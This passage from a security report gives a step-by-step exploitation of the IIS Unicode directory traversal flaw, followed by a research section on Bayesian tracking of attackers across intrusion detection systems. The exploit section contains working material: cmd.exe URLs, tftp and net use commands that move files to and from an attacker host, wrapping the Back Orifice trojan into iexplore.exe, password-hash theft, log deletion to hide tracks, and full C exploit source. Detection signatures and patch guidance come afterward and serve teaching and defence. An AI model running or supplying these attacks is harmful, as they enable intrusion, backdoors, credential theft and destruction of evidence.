Since the FTP server doesn’t allow anonymous users to upload files in this fashion, we need to find other ways. Taking a look at the port scan result again, it becomes apparent that the NetBIOS session service port 139 is open. Therefore, it is possible to use NetBIOS and Samba to share disks and files. However, for safety reasons, no system administrator will make his web server’s disks and files shareable via NetBIOS without password authentication. To bypass this security measure we can simply reverse the process: the attacker can make his disk shareable and invite the target machine (the IIS web server) to share his disk. This works as follows:

1. Pick a drive on the client machine (x.x.x.112) - C: for instance - and configure it to allow “Full” accessibility by anybody without the need for password authentication. In this case, the shareable C: disk is given the share name ‘mydisk’. The configuration menu is shown in Figure 1.

2. Use the ‘net use g: \x.x.x.112\mydisk’ command to map ‘mydisk’ (C: drive on the client machine x.x.x.112) onto the target machine’s (x.x.x.133) local drive G:. Type the following URL in the browser:

   http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+net+use+g:+\x.x.x.112\mydisk

   Though the browser returns the CGI Error message, if you try the following URL, you will see the directory of G: drive on the browser. This is actually the client machine’s C: drive.28

   http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+g:

28 Type ‘net use /?’ under the MS-DOS prompt and you can find more information about how to use this command.
3. Then, it is possible to copy any files or Trojans, such as Back Orifice,\(^29\) to the target machine’s D: drive. Type the following URL:

   \[
   \text{http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+g:\bo2k.exe+d:\bo2k.exe}
   \]

4. Now it is possible to use the ‘net use g:/DELETE’ command to disconnect the network drive. Type the following:

   \[
   \text{http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+net+use+g:+/DELETE}
   \]

In this way, it is easy to upload all kinds of hacking tools or Trojans to the target machine. This method doesn’t work under Windows 2000 + IIS 5.0 (even if NetBIOS is installed). This could be because the default permissions in Windows 2000 are significantly more restrictive than those in Windows NT 4.0.

To circumvent this problem, the trivial file transfer protocol (TFTP) can be used. TFTP is frequently used in the hacking world to transfer files between target and client machines. Therefore, it could be useful to install a Windows TFTP daemon on the client machine and get the target machine to run tftp commands to transfer files. Windows NT and 2000 already have ‘tftp.exe’ files in the ‘\winnt\system32\’ folder, allowing the attacker to run the tftp command directly. By searching the web for “free windows TFTP server”, finding free TFTP server software is easy. In this case, the ‘TFTP Suite Pro 2000’ is downloaded from ‘http://www.walusoft.co.uk’ and installed on the client machine. To use the free TFTP tool to transfer files, execute the following actions:

1. Run the TFTP server on the client machine (x.x.x.112). The graphical user interface (GUI) for the TFTP Server 2000 is shown in Figure 2.

![TFTP Server 2000](image)

Figure 2: TFTP Server 2000

2. Now it is possible to use the ‘tftp –i x.x.x.112 put source destination’ command to download files from the target machine and use the ‘tftp –i x.x.x.112 get source destination’ command to upload files to the target machine. The ‘-I’ option means that files are transferred in binary mode. For example, use the following URL to download the ‘system.ini’ file:

```
http://x.x.x.133/scripts/..%C0%AF../winnt/system32/cmd.exe?/c+tftp+-i+x.x.x.112+PUT+d:\system.ini+c:\system.ini
```

or use the following URL to upload the ‘bo2k.exe’ Trojan:

```
http://x.x.x.133/scripts/..%C0%AF../winnt/system32/cmd.exe?/c+tftp+-i+x.x.x.112+GET+c:\bo2k.exe+d:\bo2k.exe
```

So far, several methods have been introduced to exploit the IIS vulnerability to transfer files. More than one method was explained because, in a real attack, hackers often have to exploit the method that is available on the target machine. For example, a smart system administrator may delete the ‘tftp.exe’ file from the server or remove the NetBIOS protocol.

It should be noted that, all the commands used as part of this exploit are activated by HTTP URL requests via port 80. So, even if the firewall closes some ports for incoming packets, it is likely that the firewall will let these hostile packets through, since the internal machine (IP) is initiating TFTP or NetBIOS connections to the outside server, not vice versa.

It has been shown how easy it is to upload all kinds of Trojans, hacking tools and other malicious code to the target machine using the vulnerabilities in Microsoft IIS. However, these programs still need to be run on the target machine to allow them to be exploited further. Some Trojans or hacking tools can only be activated on the target machine via local access. For example, by typing the following URL:

```
30 Type ‘tftp /?’ under the MS-DOS prompt for more information on how to use TFTP commands.
```
http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d:\bo2k.exe

or uploading ‘bo2k.exe’ to the ‘\winnt\system32’ folder, then typing the following URL:
http://x.x.x.133/scripts/..%c0%af../winnt/system32/bo2k.exe

or uploading it directly to the ‘\Inetpub\scripts\’ folder and typing the following URL:
http://x.x.x.133/scripts/bo2k.exe

The bo2k server program will now be activated.31 The next step in this exploit is explaining how to get hold of the administrator’s password, thereby providing the attacker with a multitude of new opportunities to cause havoc on the vulnerable system.

As mentioned earlier, some tools that could be used to gain administrative privileges on a machine, such as Bo2k, GetAdmin,32 Addusers etc., cannot be activated remotely via a URL. Although Sechole can possibly be activated to let the IUSR_machinename account gain administrative privileges remotely, it doesn’t work under the well-patched Windows NT (with service pack 6) and 2000 servers used in this example.

The solution to this dilemma would be to make the local user activate the Trojan programs for us by adding them (the Trojans) to the user’s existing programs. In this case, the Bo2k Trojan will be used to demonstrate the process. Since the target machine is a Microsoft IIS web server, the IE browser is always available on the system. Therefore, it is convenient to add the Bo2k Trojan to the ‘iexplore.exe’ file. This can be done as follows:

1. Look at the ‘Program Files’ folder and find the ‘iexplore.exe’ file in the ‘d:\progra~1\plus!\micros~1\’ folder.

2. Download the ‘iexplore.exe’ file from the target machine (x.x.x.133) as follows:
http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp+-i+x.x.x.112+PUT+d:\progra~1\plus!\micros~1\iexplore.exe+c:\iexplore.exe

3. On your client machine, run ‘bo2kcfg.exe’ to configure your Bo2k server program, ‘Bo2k.exe’ (select port number, password, encryption type and so on) - The GUI of the Bo2k Server Configuration is shown in Figure 3.

---

31 Due to the huge number of available Trojans or hacking tools, it is impractical to discuss each of them individually at this point. However, there are possibilities to take over the target machine by using certain hacking tools and other IIS vulnerabilities in combination with the Extended Unicode Directory Traversal Vulnerability.

4. Use a wrapper program, such as SaranWrap, EliteWrap or GUI-based SilkRope 2000, to wrap ‘Bo2k.exe’ with ‘iexplore.exe’. In this case, EliteWrap will be used on account of its flexible options. Since the new wrapped program will be ‘iexplore.exe’, the original ‘iexplore.exe’ must be changed to ‘ie.exe’. Then, EliteWrap can be run as follows:

http://www.dundeecake.demon.co.uk/elitewrap
Stub size: 7712 bytes
Enter name of output file: iexplore.exe
Operations: 1 – Pack only
  2 – Pack and execute, visible, asynchronously
  3 – Pack and execute, hidden, asynchronously
  4 – Pack and execute, visible, synchronously
  5 – Pack and execute, hidden, synchronously
  6 – Execute only, visible, asynchronously
  7 – Execute only, hidden, asynchronously
  8 – Execute only, visible, synchronously
  9 – Execute only, hidden, synchronously

Enter package file #1: bo2k.exe
Enter operation: 2
Enter command line:
Enter package file #2: ie.exe
Enter operation: 2
Enter command line:
Enter package file #3:
All done:)

Figure 3: Bo2k Server Configuration

5. After wrapping, the ‘iepxlore.exe’ file will be larger than before. Delete the old ‘iepxlore.exe’ file on the target machine and upload the new file back to the ‘d:\progra~1\plus!\micros~1’ folder as follows:

http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+del+d:\progra~1\plus!\micros~1\iepxlore.exe

33 See – ‘Silk Rope, an extra goodie for Back Orifice – Version 1.1’ -
http://web.textfiles.com/software/silkrope.txt
Once the local user on the target machine clicks the IE icon, the Bo2k Trojan will run first and then the normal IE browser program will run secondly. The user will not notice any obvious difference when the program is run. The new Bo2k plugins can even send the attacker an e-mail, notifying him of the IP address of the victim machine where the Trojan is activated. Once the Bo2k Trojan has been successfully installed, the attacker can do almost anything on the compromised machine: log keystrokes, view the screen, access files, and even lockup or reboot the target machine. Finally, to get the administrator’s password try the following steps:

1. Ask the Bo2k client to connect to the Bo2k server on the x.x.x.133 machine.
2. Under the ‘system’ options, choose the ‘List Passwords’ command and send the passwords to the attacker’s machine.
3. Then, copy the hashed password file from the ‘server response’ window and save it as a file. The GUI of the Bo2k client is shown in Figure 4.

![Bo2k Client GUI](image)

**Figure 4: Bo2k Client**

4. Use L0phtCrack\(^{34}\) to crack the passwords. The GUI of L0phtCrack is shown in Figure 5.

\(^{34}\) See – ‘L0phtcrack 1.5 Lanman / NT password hash cracker’ - [http://www.insecure.org/sploits/l0phtcrack.lanman.problems.html](http://www.insecure.org/sploits/l0phtcrack.lanman.problems.html) or ‘L0phtCrack 3.0’ - [http://online.securityfocus.com/tools/1005](http://online.securityfocus.com/tools/1005)
We now have the option to crack all the passwords, or save time and only crack the administrator’s password. Since we have found a way to upload and download files, we can install and bind other Trojans with user programs in the same way. Moreover, since administrative privileges have been obtained on the system, it would make sense to upload some other Trojans like rootkit to maintain backdoor access on the vulnerable system.

Though there are other possibilities to explore the system with this vulnerability, we are going to stop our exploit at this point. To avoid detection and erase the most obvious traces of activity, it is necessary to cover our tracks. For Windows NT, system event logs, such as ‘security.log’ and ‘SecEvent.evt’, are stored in the ‘\winnt\system32\config’ folder. MS IIS log files are stored in the ‘\winnt\system32\logfiles’ folder. At the very least it would be helpful to delete the ‘SecEvent.evt’ file and the IIS log file for that day.

**Potential Implications of Using the Exploit**

Exploiting this vulnerability could have serious implications for businesses, government and other organizations. Among other things, the following could happen:

1. As demonstrated in the above sections, a hacker can easily deface a website with a couple of malformed URL requests. Further, an attacker could use these protocols to download any sensitive documents from the compromised server for the purpose of economic or political espionage, or to gather information for future terrorist attacks. Once the hacker gets root access to the server, he can basically do whatever he wants on that server. The Code Red and Nimda worms automated this hacking process to propagate rapidly through the Internet.

2. If an e-business web server were compromised, the backend database servers (which store user information, credit card numbers etc.) linked to this system may also be vulnerable to attack. For example, these servers may have the same passwords for some of the same user accounts. In addition, in order to improve performance, a web server often keeps some live database connections in a so-

---

35 Those that believe that Bo2k is too widely known and easily detectable by scanners, have the option to write their own programs, such as one that will send the ‘\winnt\repair\sam’ file back to the attacker once it has been activated.

called ‘connection pool’ to speed up transactions. This is another avenue for hackers to exploit. Once the web server and the database server are compromised, hackers can use them as relays to connect the hacker’s remote machine with the internal machines on the system, thereby circumventing the firewall.

3. If the compromised web server is a site for software distribution, an attacker could plant Trojans or Zombie code into the software that is offered to users for download. In this fashion, every machine that downloads software from this web server will also be compromised.37

**Diagram of the Exploit**

The following diagram illustrates how this exploit works on a network:

1. The client makes an HTTP request via the web browser or other standalone exploit programs, as follows:

   \[\text{http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+'command'}\]

2. The MS IIS web server tries to locate the file in the ‘\InetPub\scripts’ folder.

3. Using extended Unicode (e.g. %e0%af), the MS IIS system allows web visitors to traverse directories backward and activate the ‘winnt/sdsystem32/cmd.exe’ file as a script to run system commands.

4. By executing commands, the IUSR_machinename account (web visitors’ account) is allowed to access system resources, such as networking, file systems and so on.

5. The system responses to the commands are returned to the MS IIS web server.

6. The MS IIS web server sends the responses and/or CGI Error information back to the browser.

7. The server can be invoked to send tftp requests to the TFTP server on the client machine.

8. The TFTP server on the client machine responds to the requests, downloads files from, or uploads files to, the server machine. (A diagram of the exploit is shown in Figure 6)

---

37 For example see ‘Download Sites Hacked, Source Code Backdoored’, Brian McWilliams, SecurityFocus, June 3, 2002
Figure 6: Diagram of the exploit
How to Use the Exploit

Basically, the exploit can be implemented via any web browsers. But some standalone C and Perl programs have also been developed to help exploit this vulnerability. Optyx (optyx@newhackcity.net), for instance, has released the following exploit programs in C: ‘iis-zang.c’, ‘iis-zang.exe’, ‘iis-zang.obsd’ and ‘iis-zang.linux’. In addition, the following exploit programs were released by Roelof Temmingh (roelof@sensepost.com) in Perl: ‘unicodecheck.pl’, ‘unicodexecute.pl’ and ‘unicodexecute2.pl’. Finally, the ‘iis4-5.exe’ exploit program is available from Reggie (reggie@duckweb.net). These programs fulfill the same functions as a browser in that they send malformed requests to, and receive responses from, the target machine. We will use the ‘iis4-5.exe’ program as an example of how these tools work (the GUI of ‘iis4-5.exe’ is shown in Figure 7). This program enables the attacker to simply type commands directly, precluding the need to type the long URL into the browser every time. The exploit tool transfers the command into an HTTP request and sends it to the target machine.

![Figure 7: IIS4-5 exploit program](image)

Source Code/Pseudo Code

The source code of a variety of exploit programs is freely available on the Internet. Some examples can be found at http://downloads.securityfocus.com/vulnerabilities/exploits/iis-zang.c. The ‘iis-zang.c’ tool will be utilized to show how these programs function. It takes the following actions:

1. The program gets the target machine’s name and commands from users’ input.
2. It then formulates an HTTP request string – ‘GET/scripts/..%c0%af../winnt/system32/cmd.exe?/c+<input command>’.

In order to exploit the Extended Unicode Directory Traversal Vulnerability, the following hacking tools or programs were used: Port scanner-Nmap, file transfer program-TFTP, Trojan program-Bo2k, wrapper program-EliteWrap and password crack program-LophitCrack. These hacking tools were discussed in detail in the earlier sections.


Ibid.,
3. Next, it creates a TCP/IP socket and makes a connection to the target machine’s port 80.
4. It then sends the formulated request to the target machine’s port 80.
5. Finally, it waits for responses from the target machine.

The following is source code from the ‘iis-zang.c’ program:

```c
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

void usage(void)
{
    fprintf(stderr, "usage: ./iis-zank <-t target> <-c 'command' or -i>"
            " [-p port] [-o timeout]\n");  
    exit(-1);
}

int main(int argc, char **argv)
{
    int i, j;
    int port=80;
    int timeout=3;
    int interactive=0;
    char temp[1];
    char host[512]="
    char cmd[1024]="
    char request[8192]="GET
/scripts/.%c0%af../winnt/system32/cmd.exe/?c+";
    struct hostent *he;
    struct sockaddr_in s_addr;

    printf("iis-zank_bread_chafer_8000_super_alpha_hyper_pickle.c\n");
    printf("by optyx and t12\n");

    // Reads the target machine’s name and commands from users’ input
    for(i=0;i<argc;i++)
    { if(argv[i][0] == '-') {
        for(j=1;j<strlen(argv[i]);j++)
        {
            switch(argv[i][j])
            {
            case 't':
                strncpy(host, argv[i+1], sizeof(host));
                break;
            case 'c':
```
```c
strncpy(cmd, argv[i+1], sizeof(cmd));
break;

case 'h':
    usage();
    break;

case 'o':
    timeout=atoi(argv[i+1]);
    break;

case 'p':
    port=atoi(argv[i+1]);
    break;

    case 'i':
        interactive=1;
        break;

default:
    break;
```

```c
if(!strcmp(host, ""))
{
    fprintf(stderr, "specify target host\n");
    usage();
}
```

```c
if(!strcmp(cmd, "") && !interactive)
{
    fprintf(stderr, "specify command to execute\n");
    usage();
}
```

```c
if(!interactive)
{
    printf("]- Target - %s:%d\n", host, port);
    printf("]- Command - %s\n", cmd);
    printf("]- Timeout - %d seconds\n", timeout);
    if((he=gethostbyname(host)) == NULL)
    {
        fprintf(stderr, "invalid target\n");
        usage();
    }
}
```

```c
do
{
    if(interactive)
    {
        cmd[0]=0;
        printf("\nC> ");
        if(fgets(cmd, sizeof(cmd), stdin) == NULL)
            fprintf(stderr, "gets() error\n");
        cmd[strlen(cmd)-1]='#0';
        if(!strcmp("exit", cmd))
            exit(-1);
    }

    for(i=0;i<strlen(cmd);i++)
    {
```
if(cmd[i]==' ')  
    cmd[i]='+';

➤ Formulates an HTTP request string

strncpy(request,  
"GET /scripts/..%C0%AF../Winnt/system32/cmd.exe?/c+",  
s sizeof(request));
strncat(request, cmd, sizeof(request) - strlen(request));
strncat(request, "\n", sizeof(request) - strlen(request));

➤ Creates a TCP/IP socket

s_addr.sin_family = PF_INET;
s_addr.sin_port = htons(port);
memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr,
sizeof(s_addr.sin_addr));

if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)  
{  
    fprintf(stderr, "cannot create socket\n");
    exit(-1);
}

alarm(timeout);

➤ Connects to the target machine’s port 80

j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr));
alarm(0);

if(j==-1)  
{  
    fprintf(stderr, "cannot connect to %s\n", host);
    exit(-1);
    close(i);
}

if(!interactive)  
    printf("]- Sending request: %s\n", request);

➤ Sends out HTTP requests

send(i, request, strlen(request), 0);

if(!interactive)  
    printf("]- Getting results\n");

➤ Waits for responses

while(recv(i,temp,1, 0)>0)  
{  
    alarm(timeout);
    printf("%c", temp[0]);
}
alarm(0);
}

while(interactive);
  close(i);
  return 0;
}

Signature of the Attack

The IIS event log can help security personnel establish whether an attack using this exploit has been perpetrated. It provides information that indicates when someone has tried to exploit this vulnerability. The best way to detect an attack is to search the event log for successful ‘GET’ requests involving a URL that includes the ‘/../’ string. Requests like this should, by design, never succeed. So, if one did succeed, it means that someone has exploited the vulnerability. The next step is to see what the URL maps to; if it maps to a data file, it’s likely that the attacker read that file; if it maps to an executable file, it’s likely that he ran that file.

IIS log files are stored in the ‘\winnt\system32\logfiles’ folder. The following is part of the IIS log file (‘in001109.log’) for our example exploit:

IIS Log File: ‘in001109.log’

x.x.x.112, -, 11/9/00, 9:24:24, W3SVC1, LABRAT4, x.x.x.133, 20, 343, 406, 200, 0, GET, /scripts/../winnt/system32\cmd.exe, /c+dir+d:\progra~1\plus!\micros~1\iexplore.exe,
x.x.x.112, -, 11/9/00, 9:25:49, W3SVC1, LABRAT4, x.x.x.133, 30, 383, 374, 502, 0, GET, /scripts/../../../winnt/system32\cmd.exe, /c+tftp+-i+x.x.x.112+get+c:\iexplore.exe+d:\progra~1\plus!\micros~1\iexplore.exe

How to Protect Against the Exploit

Almost more important than detecting that an attack has taken place is defending against such an attack in the first place. On October 17, 2000 Microsoft published a patch for the Extended Unicode Directory Traversal Vulnerability.41 The patch eliminates the vulnerability by treating the malformed URL as invalid. All customers using IIS 4.0 or IIS 5.0 were urged to install the patch immediately upon release, but enough didn’t for it to become a major problem in the form of the Code Red and Nimda worms. It is realistic to assume that thousands of unpatched systems may still be on the Internet waiting to be compromised.

With regard to our exploit process, the following measures can be taken to secure the web server too:

2. Those who don’t need the tftp command, delete the ‘tftp.exe’ file or rename it.
3. Ensure that the IUSR_machinename account does not have write access to any files on your system.
Analysis of Distributed Intrusion Detection Systems Using Bayesian Methods

Background

Online attackers benefit greatly from the anonymity, speed, and vast amounts of information present in cyberspace. By moving from one computer to another, thereby obfuscating the source of the attack, cyber attackers are able to make themselves difficult to trace. In certain cases, it is even possible to falsify information that would normally provide a link back to the attacker.

Automated tools make it possible to scan and attack vast numbers of hosts on the Internet, pausing only briefly at each one. When an attack does occur, it may be only a matter of seconds before a system is compromised. Given a little more time, the attacker is able to cover up the evidence of the intrusion. To add to these complexities, intrusion detection systems must be able to detect and prevent attacks while allowing vast amounts of ‘legitimate’ information to travel around the various networks at incredibly high speeds.

Most current approaches to intrusion detection attempt only to detect and prevent individual attacks. However, it is not the attack, but rather the attacker, against which networks must be defended. Through understanding the behavior of the attacker, it is possible to develop a clearer picture of what is occurring. To do this, the information being provided by intrusion detection systems must be gathered and then divided into its component parts such that the activity of individual attackers is made clear.

In this section we introduce the idea of using Bayesian multiple hypothesis tracking as a basis for identifying the activities of individual attackers as they move across many networks (research along these lines is currently ongoing at the ISTS). The main goal of this approach is to improve the understanding of the attacker’s behavior by using the data that is already being collected by intrusion detection systems scattered across several networks. By treating the intrusion detection systems as a sensor web, and applying mature concepts from sensor fusion techniques and target tracking algorithms, a higher level of situational awareness can be attained. This can then aid in the process of defending against attackers by providing insight into their motives and methods.

Intrusion Detection Systems

Intrusion detection systems (IDS) are defined by both the method used to detect attacks and the placement of the IDS on the network. An IDS may perform either misuse detection or anomaly detection and may be deployed as either a network-based system or

---

a host-based system. This results in four general groups: misuse-host, misuse-network, anomaly-host and anomaly-network. Some IDS combine qualities from these categories (usually implementing both misuse and anomaly detection) and are known as hybrid systems.

Network-based intrusion detection involves a network device listening to all the traffic that is going through its local neighborhood. Placement of the sensor is important since devices that direct traffic, such as switches and routers, separate the network into segments. A sensor on a segment sees only the traffic that is either going to or coming from other hosts on that segment, thus giving each sensor a limited view of its environment. Host-based IDS examine the activity on a specific host. This allows them the advantage of having greater access to the logs and files of a particular computer, while being limited in what external activity they can see. This limits the breadth of the sensor’s view, yet allows it to see greater depth and detail.

Misuse detection models attempt to match activity occurring on a network or host to predefined patterns or signatures. They compare current activity on the system against known patterns of attack in a process similar to the behavior of a virus scanner. The strength of a misuse detection model is that it has a relatively low rate of false positives. However, it is limited to detecting only those attacks for which it has a signature, leaving it vulnerable to new attacks.

Anomaly detection models operate by building a model of system behavior based upon the standard operation of the network or component under observation. After this model of ‘normal’ system behavior has been created, current activity is compared to it. When the deviation grows greater than a threshold level, an alert is triggered. Such a system has the advantage of being able to detect attacks that are not currently known. The drawback of such systems is that they often have a high false positive rate, which can lead to a lack of trust in the software. These systems may also be defeated by malicious activity that masquerades as acceptable behavior.

Related Work

There is a great deal of work that is currently being performed in the area of intrusion detection. Much of the work centers on improvement in the ability of systems to detect attacks and the speed of network traffic that can be handled. There are several projects dedicated to the collection of IDS data. One of these is the SANS Institute’s Incidents.org project. This is a central collection site for intrusion detection data that is being collected from numerous volunteer sites. A number of groups are also working towards greater interaction between intrusion detection systems and improved analysis of

collected data. Among these are the EMERALD project at SRI,\textsuperscript{47} work by Dain and Cunningham at Lincoln Labs,\textsuperscript{48} the Common Intrusion Detection Framework (CIDF),\textsuperscript{49} and the Internet Engineering Task Force’s Intrusion Detection Exchange Format (IDEF).\textsuperscript{50}

**Data Refinement and Knowledge Creation**

The goal of this approach is not to improve upon the methods currently used in intrusion detection, but rather to develop methods for more effectively analyzing the information already being provided by existing intrusion detection systems. Our goal is to be able to reorganize the existing data such that related incidents become apparent.

**Network vs. Attacker Centric View**

When the primary concern is the defense of a host or network, it is natural to adopt a view placing the object to be defended at the center. This is the view that best describes the implementation of most intrusion detection systems. Networks are built with the concept of a perimeter, consisting of firewalls, border routers, and gateways. This creates a wall around the network, limiting external access to strictly monitored channels. Since this limits the entry points, which an attacker may use to gain access to a network, defensive systems are usually located at these boundary points. It is possible, as is often the case, to defend a network or portion of a network in isolation from any other network. While this is a sensible approach for defense, it does little to aid in understanding the methods and motives of the attackers in general.

\textsuperscript{47}‘EMERALD intrusion detection system home page’, SRI, 2001 - \url{http://www.sdl.sri.com/projects/emerald}


Figure 1 shows activity graphs for a network (N) and four attackers (a1, a2, a3, a4) who are currently attacking the network. When we limit our view, and therefore our data collection capabilities, to this network, we are able to see only the portion of each attacker’s activity, which intersects the activity observable on this network. This is further complicated by the lack of complete visibility of our network and by false alarms caused by the sensors. To gain a more complete picture of an attacker’s action, we must expand our view to include more than one network and more than one type of defense system. Rather than center our viewpoint around a single network, we gather and analyze data from many distributed systems in order to obtain a more complete picture of the attacker’s activities.
A single attacker’s actions may coincide with several networks as displayed in Figure 2. By gathering information from multiple networks, we are able to expand our view of an individual attacker’s actions. However, simply gathering this information from multiple networks does not provide much useful information. The sensor reports must be reorganized such that the activities of individual attackers are made clear. Described below are the methods used to do this.

**Observe, Orient, Decide and Act**

In information warfare (IW), the decision-making process is governed by the observe, orient, decide and act (OODA) loop developed by Boyd. The second stage of this loop, the orient stage, is a process of knowledge creation. In this process, sets of similar or dissimilar data are aligned, correlated and combined to model, explain, and predict the behavior of the system. The Department of Defense Joint Directors of Laboratories has broken the process of data fusion into five levels of refinement: data, object, situation, meaning, and process. In the data refinement stage, raw data is gathered and preliminary analysis of the data is performed. Noise is removed, data is limited to areas of interest, and initial object detection is performed. In this stage we are using intrusion detection systems to gather raw information regarding the attacks occurring on our systems. Initial filtering is done in order to reduce the amount of information being gathered and to group related events. For example, port scans of the network or operating system fingerprinting attempts that would normally have triggered IDS rules many times over could be reduced to single events.

---

52 Ibid.,
In the object refinement stage, data is normalized and described in a common format. This includes time synchronization and conversion to a common description format, such as the DARPA Common Intrusion Detection Framework (CIDF) or the Internet Engineering Task Force’s Intrusion Detection Exchange Protocol (IDXP). In these formats, intrusion events are described as an object that has a set of attributes. We are concerned with features such as the time of the event, Internet protocol (IP) source and destination addresses, service under attack, type of event (i.e., port scan, buffer overflow), etc. Once these steps have been completed, tracking and identification of the targets are performed.

During the situation refinement stage, aggregate sets of the objects are detected by common or related behavior. Some correlations are very simple, relying on common attribute values across a number of events. Examples of this would include a multitude of attacks all originating from the same IP address, or a number of similar style attacks coming from varied IP addresses within a short period of time. However, other relationships will not be as straightforward and will require models or patterns describing attacker behavior, which are compared to the events that are being detected by the IDS.

By doing this, we are moving away from determining what individual events are being seen and heading toward an understanding of what is happening in the bigger picture. During the meaning refinement process, situation knowledge is used to model and analyze possible future behaviors of the objects and groups built in the previous stages. Finally, current knowledge of the situation is compared to the knowledge required to achieve one’s goals. This is done to determine shortfalls in the knowledge base and then minimize them through process refinement.

**Multiple Hypothesis Tracking**

The situation refinement stage, as described above, is accomplished through the use of a Bayesian multiple hypothesis tracking (BMHT) algorithm. BMHT is a method of target tracking that allows decisions to be adjusted and refined until enough data has been collected to ensure a level of confidence. In its basic form, the algorithm generates and stores all possible hypotheses that could explain the data being measured. To determine the likelihood that a particular hypothesis is correct, it is evaluated against our understanding of the sensor behavior and the dynamics of the target. After all hypotheses have been evaluated, the one with the greatest likelihood is assumed to be correct. As new data arrives, the likelihood of each hypothesis is adjusted and our belief in that hypothesis is either strengthened or weakened. This makes BMHT particularly useful for cyber defense applications.

---

56 ‘Tracking with text-based messages’, C. Alberola and G. V. Cybenko, IEEE Intelligent Systems, P.70-78, 1999
when it is necessary to perform real-time target tracking with incomplete or inaccurate data.

**Hypothesis Generation**

Each hypothesis consists of a set of tracks that map events measured by sensors to targets. A track is a series of events that describes the motion, or activities, of an individual target. When a new event occurs, it may be assigned to an existing track, create a new track, or be considered a false alarm and not assigned to any target track.

Within a hypothesis, each event appears in exactly one track. This prevents a single sensor event from being assigned to more than one target. Each hypothesis has a likelihood value that is based on its set of tracks, the dynamics of the target and the performance of the sensors. The number of possible hypotheses grows extremely large as more events are measured. For example, if we have two events, a port scan for DNS servers and a buffer overflow attack against DNS servers, there are five possible hypotheses as shown in Table 1.

<table>
<thead>
<tr>
<th>Hypothesis</th>
<th>Scan</th>
<th>Attack</th>
</tr>
</thead>
<tbody>
<tr>
<td>H-1</td>
<td>False Alarm</td>
<td>False Alarm</td>
</tr>
<tr>
<td>H-2</td>
<td>Target 1</td>
<td>False Alarm</td>
</tr>
<tr>
<td>H-3</td>
<td>False Alarm</td>
<td>Target 1</td>
</tr>
<tr>
<td>H-4</td>
<td>Target 1</td>
<td>Target 2</td>
</tr>
<tr>
<td>H-5</td>
<td>Target 1</td>
<td>Target 1</td>
</tr>
</tbody>
</table>

The large number of potential hypotheses makes it necessary to impose limits on what is kept around for future evaluation. One method of doing this is to introduce a threshold such that when a hypothesis’ likelihood falls below the limit, it is deleted. Likewise, individual tracks may be removed as well. Track removal takes on two forms: track deletion and track completion. Track deletion is similar to hypothesis deletion; when a track is considered too unlikely to be true, it is removed. Track completion occurs when a track is likely to be correct, but is not expected to have any more events added to it. It is important not to assign a track as being completed too soon, as it will prevent future events from being included in that track. However, this type of error is recoverable by later comparing sets of completed tracks. If an attacker’s actions are broken up into multiple, completed tracks, it is possible to later recombine these tracks into one large track. It is important that we use techniques such as these to reduce the volume of information required by the BMHT algorithm.

**Attacker Behavioral Models**

To evaluate a track, both the performance of the sensor and the behavior of the target are considered. Our view of the world is limited to the output of our sensors. However, our evaluation of this information is aided through *a priori* knowledge of the likely behavior
of an attacker. We look at both the likelihood of the attacker in state $x$ generating the sensor readings $y$, and the probability of an attacker existing in, or moving to, state $x$. These may be performed independently and are known as the sensor update and the motion update. This is shown as follows:

$$p(x | y) \propto L(y | x)p(x)$$

The sensor update, $L(y|x)$, is often well understood for misuse detection IDS. However, the motion update evaluation, $p(x)$, requires a probabilistic evaluation of the target’s motion. Different attackers will have different goals, and thus their motion through the attack state space will follow different paths. If an attacker is trying to be stealthy and avoid detection, the methods of attack chosen will differ from an attacker who is going for speed and number of compromised machines.

The attacker behavioral models describe the series of actions an attacker is likely to use while attempting to reach his or her goal(s). The feature set used to describe an attacker’s motion include the particular technique or vulnerability being used (e.g., Berkeley Internet Name Domain - BIND buffer overflow, Microsoft Internet Information Server - IIS Unicode attack, etc.), source and destination IP addresses, destination port (which defines the service being attacked), time of the event, and so forth. The attacker’s behavior may then be described as a likelihood of moving through these attributes. This may be measured by instantaneous value (what is happening at this event only), as a sequence of events, or as a rate of change.

An attacker trying to gain zombie computers for a denial of service (DoS) attack will want to move quickly through as many computers as possible. If we look at the destination IP address for IDS events triggered by this activity, a high rate of change (RoC) would be evident. However, since the attacker is more interested in speed and number of compromised systems, usually only a single type of attack is used. This leads to a very low RoC in attack technique. If instead an attacker were attempting to gain control of a specific machine, we would expect to see the attacks centered on that machine. The attacker may attempt to gain control of other nearby machines in order to exploit a trusted relationship between the two, so the attack need not be limited to just the target. Also, it is likely that the attacker will make multiple attempts to break into the target host, using multiple methods of attacks, and target various services on that machine. These two examples contrast with the events we would expect to see during a denial of service attack. In this case, the source IP is often spoofed to make it appear as if the attack is coming from many different places. While the events occur at a very rapid rate, the types of events tend not to change. Table 2 details the characteristics exhibited by DoS, zombie collection, and directed attacks.

From this, we develop probability distributions representing the motion characteristics of the attackers. These may then be used to evaluate the likelihood of an event belonging to a particular track, and thus also evaluate the overall likelihood of the hypothesis. In order to maintain performance and develop generalizable models, we attempt to limit the number of attack features used in the modeling. Source address, destination address,
service under attack, type of attack, and time of the attack are used in developing the models. Using these features, we attempt to distinguish between various types of attacks and various attackers.

**Status of Work**

